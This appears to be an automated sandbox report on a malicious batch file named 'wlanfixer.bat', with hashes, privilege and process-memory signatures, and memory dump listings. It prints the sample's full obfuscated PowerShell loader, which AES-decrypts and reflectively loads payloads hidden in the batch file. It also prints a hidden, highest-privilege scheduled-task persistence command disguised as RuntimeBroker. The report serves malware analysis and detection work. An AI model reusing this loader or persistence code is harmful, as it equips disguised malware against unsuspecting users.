31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

Analysis

max time kernel
132s
max time network
138s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
23-04-2024 13:04

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General

Target

wlanfixer.bat
Size

3.5MB
MD5

45730c9d81cdc2677ea2bd082eb79edb
SHA1

7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA256

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
SHA512

d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP

49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5068	powershell.exe
5068	powershell.exe
5068	powershell.exe
3464	powershell.exe
3464	powershell.exe
3464	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5068	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeIncreaseQuotaPrivilege	3464	powershell.exe
Token: SeSecurityPrivilege	3464	powershell.exe
Token: SeTakeOwnershipPrivilege	3464	powershell.exe
Token: SeLoadDriverPrivilege	3464	powershell.exe
Token: SeSystemProfilePrivilege	3464	powershell.exe
Token: SeSystemtimePrivilege	3464	powershell.exe
Token: SeProfSingleProcessPrivilege	3464	powershell.exe
Token: SeIncBasePriorityPrivilege	3464	powershell.exe
Token: SeCreatePagefilePrivilege	3464	powershell.exe
Token: SeBackupPrivilege	3464	powershell.exe
Token: SeRestorePrivilege	3464	powershell.exe
Token: SeShutdownPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeSystemEnvironmentPrivilege	3464	powershell.exe
Token: SeRemoteShutdownPrivilege	3464	powershell.exe
Token: SeUndockPrivilege	3464	powershell.exe
Token: SeManageVolumePrivilege	3464	powershell.exe
Token: 33	3464	powershell.exe
Token: 34	3464	powershell.exe
Token: 35	3464	powershell.exe
Token: 36	3464	powershell.exe
Token: SeIncreaseQuotaPrivilege	3464	powershell.exe
Token: SeSecurityPrivilege	3464	powershell.exe
Token: SeTakeOwnershipPrivilege	3464	powershell.exe
Token: SeLoadDriverPrivilege	3464	powershell.exe
Token: SeSystemProfilePrivilege	3464	powershell.exe
Token: SeSystemtimePrivilege	3464	powershell.exe
Token: SeProfSingleProcessPrivilege	3464	powershell.exe
Token: SeIncBasePriorityPrivilege	3464	powershell.exe
Token: SeCreatePagefilePrivilege	3464	powershell.exe
Token: SeBackupPrivilege	3464	powershell.exe
Token: SeRestorePrivilege	3464	powershell.exe
Token: SeShutdownPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeSystemEnvironmentPrivilege	3464	powershell.exe
Token: SeRemoteShutdownPrivilege	3464	powershell.exe
Token: SeUndockPrivilege	3464	powershell.exe
Token: SeManageVolumePrivilege	3464	powershell.exe
Token: 33	3464	powershell.exe
Token: 34	3464	powershell.exe
Token: 35	3464	powershell.exe
Token: 36	3464	powershell.exe
Token: SeIncreaseQuotaPrivilege	3464	powershell.exe
Token: SeSecurityPrivilege	3464	powershell.exe
Token: SeTakeOwnershipPrivilege	3464	powershell.exe
Token: SeLoadDriverPrivilege	3464	powershell.exe
Token: SeSystemProfilePrivilege	3464	powershell.exe
Token: SeSystemtimePrivilege	3464	powershell.exe
Token: SeProfSingleProcessPrivilege	3464	powershell.exe
Token: SeIncBasePriorityPrivilege	3464	powershell.exe
Token: SeCreatePagefilePrivilege	3464	powershell.exe
Token: SeBackupPrivilege	3464	powershell.exe
Token: SeRestorePrivilege	3464	powershell.exe
Token: SeShutdownPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeSystemEnvironmentPrivilege	3464	powershell.exe
Token: SeRemoteShutdownPrivilege	3464	powershell.exe
Token: SeUndockPrivilege	3464	powershell.exe
Token: SeManageVolumePrivilege	3464	powershell.exe
Token: 33	3464	powershell.exe
Token: 34	3464	powershell.exe
Token: 35	3464	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 5068	2156	cmd.exe	75
PID 2156 wrote to memory of 5068	2156	cmd.exe	75
PID 5068 wrote to memory of 3464	5068	powershell.exe	76
PID 5068 wrote to memory of 3464	5068	powershell.exe	76

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_268_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_268.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3464

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tenlbnpt.2k3.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/3464-40-0x000001996AB00000-0x000001996AB10000-memory.dmp

Filesize
64KB

Download
memory/3464-80-0x000001996AB00000-0x000001996AB10000-memory.dmp

Filesize
64KB

Download
memory/3464-39-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp

Filesize
9.9MB

Download
memory/3464-79-0x000001996AB00000-0x000001996AB10000-memory.dmp

Filesize
64KB

Download
memory/3464-77-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp

Filesize
9.9MB

Download
memory/3464-56-0x000001996AB00000-0x000001996AB10000-memory.dmp

Filesize
64KB

Download
memory/3464-78-0x000001996AB00000-0x000001996AB10000-memory.dmp

Filesize
64KB

Download
memory/3464-41-0x000001996AB00000-0x000001996AB10000-memory.dmp

Filesize
64KB

Download
memory/5068-23-0x0000019373F90000-0x0000019373FA0000-memory.dmp

Filesize
64KB

Download
memory/5068-28-0x000001935BB30000-0x000001935BB38000-memory.dmp

Filesize
32KB

Download
memory/5068-29-0x000001937C470000-0x000001937C718000-memory.dmp

Filesize
2.7MB

Download
memory/5068-10-0x0000019373F90000-0x0000019373FA0000-memory.dmp

Filesize
64KB

Download
memory/5068-73-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp

Filesize
9.9MB

Download
memory/5068-74-0x0000019373F90000-0x0000019373FA0000-memory.dmp

Filesize
64KB

Download
memory/5068-75-0x0000019373F90000-0x0000019373FA0000-memory.dmp

Filesize
64KB

Download
memory/5068-76-0x0000019373F90000-0x0000019373FA0000-memory.dmp

Filesize
64KB

Download
memory/5068-7-0x00007FFD2D570000-0x00007FFD2DF5C000-memory.dmp

Filesize
9.9MB

Download
memory/5068-4-0x0000019373EF0000-0x0000019373F12000-memory.dmp

Filesize
136KB

Download
memory/5068-12-0x0000019374120000-0x0000019374196000-memory.dmp

Filesize
472KB

Download
memory/5068-9-0x0000019373F90000-0x0000019373FA0000-memory.dmp

Filesize
64KB

Download